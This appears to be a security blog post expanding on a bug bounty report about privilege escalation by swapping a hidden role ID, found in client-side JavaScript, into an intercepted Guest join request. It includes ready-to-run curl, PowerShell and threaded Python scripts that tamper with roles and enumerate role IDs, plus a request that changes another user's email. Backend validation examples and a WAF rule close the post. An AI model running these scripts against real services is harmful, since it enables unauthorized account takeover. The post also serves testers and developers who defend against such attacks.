Listen to this Post
Introduction:
Privilege escalation vulnerabilities often hide in plain sight—within client-side JavaScript files and intercepted API requests. In a recent bug bounty discovery, a security researcher invited a user as a Guest, intercepted the join request, and found a mutable `role` parameter. By digging into the JavaScript bundle, they uncovered a hidden role ID that, when swapped into the request, bypassed read‑only restrictions and granted extra privileges—while other role IDs returned a 402 Payment Required error.
Learning Objectives:
- Intercept and analyze API requests to identify insecure direct object references (IDOR) and role parameters.
- Extract hidden role IDs, endpoints, and configuration data from client‑side JavaScript files using manual and automated techniques.
- Exploit role parameter tampering to escalate privileges from Guest to higher access levels and understand why 402 errors occur.
You Should Know
- Intercepting Join Requests with Burp Suite or mitmproxy
When a user is invited as a Guest and accepts an invitation, the application sends a `POST` or `PUT` request to an endpoint like `/api/invitations/accept` or /join. Intercepting this request reveals parameters such as invite_code, user_id, and often a `role` parameter that defaults to "guest". Attackers can modify this parameter before forwarding.
Step‑by‑step guide using Burp Suite (Linux/Windows):
- Set Burp Suite proxy to listen on
127.0.0.1:8080. Configure your browser to use this proxy.
2. Enable Intercept in the Proxy tab.
- Perform the invitation acceptance action in the web app.
- In the intercepted request, look for parameters like
role,permission,access_level, orprivilege. - Change the value from `guest` to
admin,owner, or any other plausible value. - Forward the request and observe the response. If the server accepts the change without additional validation, you’ve found a privilege escalation.
Alternative command‑line interception with mitmproxy (Linux):
mitmproxy --mode regular --listen-port 8080
Then use curl through proxy
curl -x http://127.0.0.1:8080 -X POST https://target.com/api/join \
-H "Cookie: session=..." \
-d '{"invite_token":"abc123","role":"admin"}'
Windows PowerShell with Invoke-WebRequest (no proxy):
$body = @{invite_token="abc123"; role="admin"} | ConvertTo-Json
Invoke-RestMethod -Uri "https://target.com/api/join" -Method Post -Body $body -ContentType "application/json"
2. Extracting Hidden Role IDs from Client‑Side JavaScript
Modern web applications bundle configuration, role mappings, and even hidden endpoints inside JavaScript files. The researcher discovered a hidden role ID by examining the JS bundle—likely a numeric or UUID value not exposed in the UI.
Step‑by‑step extraction techniques:
Manual (Browser DevTools):
- Open DevTools (F12) → Sources tab.
- Search for keywords:
role,roles,permission,admin,owner,"id","level". - Look for arrays or objects like:
`const roles = {guest: 1, viewer: 2, editor: 3, hidden_admin: 99}`
or a hidden UUID: `”super_role”: “a1b2c3d4-…”`.
- Check minified files – use the `{}` (Pretty Print) button.
Automated with grep (Linux/macOS):
Download all JS files
wget -r -A.js https://target.com/
Search for role patterns
grep -rE '(role|permission|access)[": ]+[0-9a-f-]{8,}' ./target.com/
Extract numeric role IDs
grep -oP 'role_id["\s:]+(\d+)' .js | sort -u
Using curl + jq on API endpoints that expose role metadata:
curl -s https://target.com/api/roles | jq '.[] | {name, id}'
Often an unauthenticated endpoint leaks roles
Windows PowerShell equivalent:
Select-String -Path "..js" -Pattern 'role["\s:]+(\d+)' -AllMatches
Once you find a hidden role ID (e.g., `role_id=1337` or "admin_role":"abc-def-123"), swap it into the intercepted join request.
3. Role Parameter Swapping and Privilege Escalation
The core exploit involves replacing the original role value with the hidden ID. The researcher bypassed read‑only restrictions—meaning the Guest role had only view permissions, but the hidden role granted write, delete, or administrative functions.
Step‑by‑step exploitation:
1. Capture the original join request (Guest invitation).
- Replace the `role` parameter value with the hidden ID.
- Forward the request. If successful, the server grants you the elevated role.
- Test other role IDs you discover. Some may return
402 Payment Required, indicating that the role is valid but requires a paid subscription—valuable for further enumeration.
Example modified request (HTTP):
POST /api/invitations/accept HTTP/1.1
Host: target.com
Content-Type: application/json
{"invite_code":"XYZ123","user_id":"12345","role":"hidden_admin_role_id"}
Using curl to automate swapping:
for role in 1 2 3 4 5 99 100 1337 9999; do
curl -s -X POST https://target.com/api/join \
-H "Authorization: Bearer $TOKEN" \
-d "{\"invite_token\":\"$TOKEN\",\"role\":$role}" \
-w "Role $role: %{http_code}\n" -o /dev/null
done
Windows batch loop:
FOR /L %i IN (1,1,10) DO curl -s -X POST https://target.com/api/join -d "{\"role\":%i}" -w "Role %i: %%{http_code}\n"
If the server uses role IDs in JWT tokens, you may also need to decode and modify the token. Use `jwt_tool` or `jwt.io` to tamper.
4. Bypassing Read‑Only Restrictions: Understanding Access Control
Read‑only restrictions typically enforce that a user with Guest role can only `GET` resources but cannot POST, PUT, DELETE. When you successfully swap the role, the server mistakenly assigns you a higher privilege level, allowing write operations.
How to test after escalation:
- Attempt to modify another user’s profile: `PUT /api/users/123/profile`
– Create new resources: `POST /api/documents`
– Access admin panels: `GET /admin/dashboard`
– Delete items: `DELETE /api/posts/456`Linux command to test write access with escalated role:
curl -X PUT https://target.com/api/users/456 \ -H "Cookie: session=$NEW_SESSION" \ -d '{"email":"[email protected]"}'
Mitigation commands for defenders (server‑side):
In Nginx, reject requests with unexpected role param
if ($arg_role != "guest") { return 403; }
But proper mitigation is never client‑side: always re‑validate role assignments on the backend.
5. Handling 402 Payment Required Errors as Intelligence
The researcher noted that other role IDs returned 402 Payment Required. This HTTP status code is rarely used, but when it appears, it signals that the role exists but requires payment or a higher subscription tier.
What this tells an attacker:
- The application has a multi‑tier role system (Free, Pro, Enterprise).
- Role IDs are not sanitized; the server understands them but checks billing status.
- You can enumerate all valid role IDs by observing which ones return `200` (or
302) vs `402` vs403.
Enumeration script (Python):
import requests
cookies = {"session": "your_session"}
for role_id in range(1, 1000):
resp = requests.post("https://target.com/api/join",
json={"invite_token":"xxx", "role": role_id},
cookies=cookies)
if resp.status_code == 200:
print(f"Valid role: {role_id} -> {resp.json()}")
elif resp.status_code == 402:
print(f"Premium role: {role_id} -> payment required")
For defenders, `402` should not leak existence of roles; use generic `403 Forbidden` instead.
- Mitigation Strategies for Developers (Cloud Hardening & API Security)
To prevent role parameter tampering and hidden role ID leaks:
Backend validation (Node.js/Express example):
app.post('/api/join', (req, res) => {
const { invite_token, role } = req.body;
// Never trust client-supplied role
const actualRole = getRoleFromInviteToken(invite_token); // Server-side lookup
if (actualRole !== role) return res.status(403).send();
// Proceed
});
Django (Python) example:
from django.core.exceptions import PermissionDenied
def accept_invitation(request):
invitation = Invitation.objects.get(token=request.POST['invite_token'])
if request.POST.get('role') != invitation.assigned_role:
raise PermissionDenied
API security checklist:
- Do not expose role IDs or permission mappings in client‑side JavaScript.
- Use server‑side role assignment based on invitation tokens, not user input.
- Implement role‑based access control (RBAC) with middleware that re‑checks every request.
- Return consistent error codes (403) for both missing privileges and invalid roles.
Cloud hardening (AWS WAF rule to block role tampering):
{
"Name": "BlockRoleTampering",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"SearchString": "role=",
"FieldToMatch": { "Body": {} },
"TextTransformations": [],
"PositionalConstraint": "CONTAINS"
}
},
"Action": { "Block": {} }
}
(Be careful: this may block legitimate requests; customize with regex.)
- Bonus: Automating Role ID Enumeration with Python + Burp Intruder
For efficient discovery of all role IDs (including hidden ones), use Burp Intruder or a custom Python script that iterates through possible integer or UUID values.
Burp Intruder setup:
1. Send the intercepted join request to Intruder.
- Set payload position on the `role` parameter value.
- Payload type: Numbers (1–1000) or Brute forcer for UUIDs.
- Grep extract: look for
"privilege","access", or status code changes.
Python script with threading (fast enumeration):
import requests
from concurrent.futures import ThreadPoolExecutor
url = "https://target.com/api/join"
cookies = {"session": "your_session"}
payload_template = {"invite_token": "abc123", "role": 0}
def try_role(role_id):
payload = payload_template.copy()
payload["role"] = role_id
resp = requests.post(url, json=payload, cookies=cookies)
if resp.status_code == 200:
print(f"[+] Escalated with role {role_id}: {resp.text[:100]}")
elif resp.status_code == 402:
print(f"[!] Payment required for role {role_id}")
with ThreadPoolExecutor(max_workers=20) as executor:
executor.map(try_role, range(1, 10000))
What Undercode Say
- Key Takeaway 1: Never trust client‑side parameters for access control. The hidden role ID discovered in JavaScript should have been stored server‑side and never exposed.
- Key Takeaway 2: HTTP status codes like `402 Payment Required` are information leaks. Attackers can differentiate between “invalid role” (403) and “valid but unpaid” (402), enabling precise enumeration of subscription‑based privilege levels.
Analysis: This vulnerability is a classic Insecure Direct Object Reference (IDOR) combined with client‑side exposure of sensitive data. The researcher’s success hinged on two steps: intercepting the request to see the mutable role parameter, and finding the hidden role ID in the JS bundle. Many developers assume that hiding IDs in minified code is sufficient, but automated scraping and grep commands easily extract them. The 402 error adds a twist—it suggests the application uses a payment gateway integration that validates roles before checking subscription status. A secure design would assign roles exclusively via backend logic tied to the invitation token, never accepting a user‑supplied `role` field. Additionally, all role IDs should be treated as secrets and kept on the server, or mapped to non‑guessable, one‑time values.
Prediction
As more applications adopt microservices and GraphQL, role parameter tampering will evolve into complex GraphQL query manipulation where `@auth` directives are misconfigured. Attackers will leverage automated JS parsers to extract not only role IDs but also entire GraphQL schemas with hidden mutations. In the next 12–18 months, expect a rise in automated tools that crawl client‑side code for role/permission hardcoded values, combined with AI‑driven fuzzing of API parameters. Defenders will shift toward zero‑trust architecture where every request’s authorization is re‑evaluated against a policy engine (e.g., Open Policy Agent), making role parameter swapping impossible. However, legacy applications will remain vulnerable for years, and bug bounty programs will see a surge in “hidden role ID” reports, with bounties ranging from $XXX to low four figures.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Itsrgjny Hackerone – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
